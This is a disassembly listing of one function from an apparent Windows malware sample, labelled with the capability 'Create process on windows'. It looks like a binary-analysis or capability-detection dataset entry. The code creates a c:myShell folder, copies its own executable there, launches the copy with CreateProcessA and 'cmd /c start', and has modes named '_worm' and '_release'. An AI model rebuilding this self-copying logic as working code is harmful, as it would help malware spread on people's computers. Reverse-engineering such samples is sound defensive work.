Function at 0x401a20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1464
call fcn.00402590
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1460], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0
mov dword [esp + 0x10], esi
call dword [sym.imp.MSVCR90.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR90.dll_srand]
mov ecx, dword [esi]
add esp, 4
mov edx, 0x40e598
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x401a64
mov ebx, str..exe
mov edi, 0x40e598
call section..text
test eax, eax
jne 0x401a9d
mov eax, edi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401a84
mov ecx, dword [str..exe]
mov dl, byte [0x40315c]
mov dword [eax], ecx
mov byte [eax + 4], dl
mov edi, dword [ebp + 8]
mov esi, dword [sym.imp.MSVCR90.dll_sprintf]
xor ebx, ebx
test edi, edi
jle 0x401ad7
lea esp, [esp]
mov eax, dword [esp + 0xc]
mov eax, dword [eax + ebx*4]
push 0x5c
push eax
call dword [sym.imp.MSVCR90.dll_strchr]
add esp, 8
test eax, eax
je 0x401ace
inc ebx
cmp ebx, edi
jl 0x401ab0
jmp 0x401ad7
cmp edi, 1
jne 0x401bb4
push str.mkdir_c:myShell
lea ecx, [esp + 0x6c]
push str.cmd__c__s
push ecx
call esi
lea edx, [esp + 0x74]
add esp, 0xc
push edx
call fcn.00401100
add esp, 4
push 0x40e598
lea eax, [esp + 0x46c]
push str.copy__Y___s__c:myShellw.exe
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x468]
push ecx
lea edx, [esp + 0x6c]
push str.cmd__c__s
push edx
call esi
lea eax, [esp + 0x74]
add esp, 0xc
push eax
call fcn.00401100
add esp, 4
lea ecx, [esp + 0xc68]
push str.c:myShellw.exe_2_3_4
push ecx
call esi
push 0x44
lea edx, [esp + 0x2c]
push 0
push edx
call sub.MSVCR90.dll_memset
add esp, 0x14
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0xc88]
push edx
push 0
mov dword [esp + 0x48], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp edi, 1
jne 0x401bb4
call fcn.004012c0
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1460]
xor ecx, esp
call fcn.00401d84
mov esp, ebp
pop ebp
ret
xor ebx, ebx
test edi, edi
jle 0x401bdc
lea ebx, [ebx]
mov eax, dword [esp + 0xc]
mov eax, dword [eax + ebx*4]
push 0x5c
push eax
call dword [sym.imp.MSVCR90.dll_strchr]
add esp, 8
test eax, eax
je 0x401c2e
inc ebx
cmp ebx, edi
jl 0x401bc0
cmp edi, 2
jl 0x401d6d
mov esi, 1
cmp edi, esi
jle 0x401d6d
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx + esi*4]
mov dl, byte [eax]
cmp dl, byte [0x40e598]
jne 0x401c07
push 1
jmp 0x401c09
push 0
push eax
call fcn.00401380
inc esi
add esp, 8
cmp esi, edi
jl 0x401bf2
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1460]
xor ecx, esp
call fcn.00401d84
mov esp, ebp
pop ebp
ret
cmp edi, 4
jne 0x401c8a
push str.mkdir_c:myShell
call fcn.00401170
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401230
push 0x40e598
push str.c:myShellcondat.exe
lea eax, [esp + 0x70]
push str.cmd__c_start__s___s_
push eax
call esi
lea ecx, [esp + 0x78]
push ecx
call fcn.004011d0
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1460]
xor ecx, esp
call fcn.00401d84
mov esp, ebp
pop ebp
ret
cmp edi, 5
jne 0x401cd3
push 0
push 0x66
call fcn.004016e0
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x64
call fcn.004016e0
mov esi, dword [sym.imp.MSVCR90.dll_getchar]
add esp, 8
call esi
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1460]
xor ecx, esp
call fcn.00401d84
mov esp, ebp
pop ebp
ret
cmp edi, 2
jne 0x401cdd
call fcn.004018d0
cmp edi, 3
jne 0x401d6d
mov esi, dword [esp + 0xc]
mov eax, dword [esi + 4]
mov ecx, str._release
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401d12
test dl, dl
je 0x401d0e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401d12
add eax, 2
add ecx, 2
test dl, dl
jne 0x401cf2
xor eax, eax
jmp 0x401d17
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401d2c
mov edx, dword [esi + 8]
movzx eax, byte [edx]
push 1
push eax
call fcn.004016e0
add esp, 8
mov eax, dword [esi + 4]
mov ecx, str._worm
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401d54
test dl, dl
je 0x401d50
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401d54
add eax, 2
add ecx, 2
test dl, dl
jne 0x401d34
xor eax, eax
jmp 0x401d59
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401d6d
mov ecx, dword [esi + 8]
movzx edx, byte [ecx]
push eax
push edx
call fcn.004016e0
add esp, 8
mov ecx, dword [esp + 0x146c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00401d84
mov esp, ebp
pop ebp
ret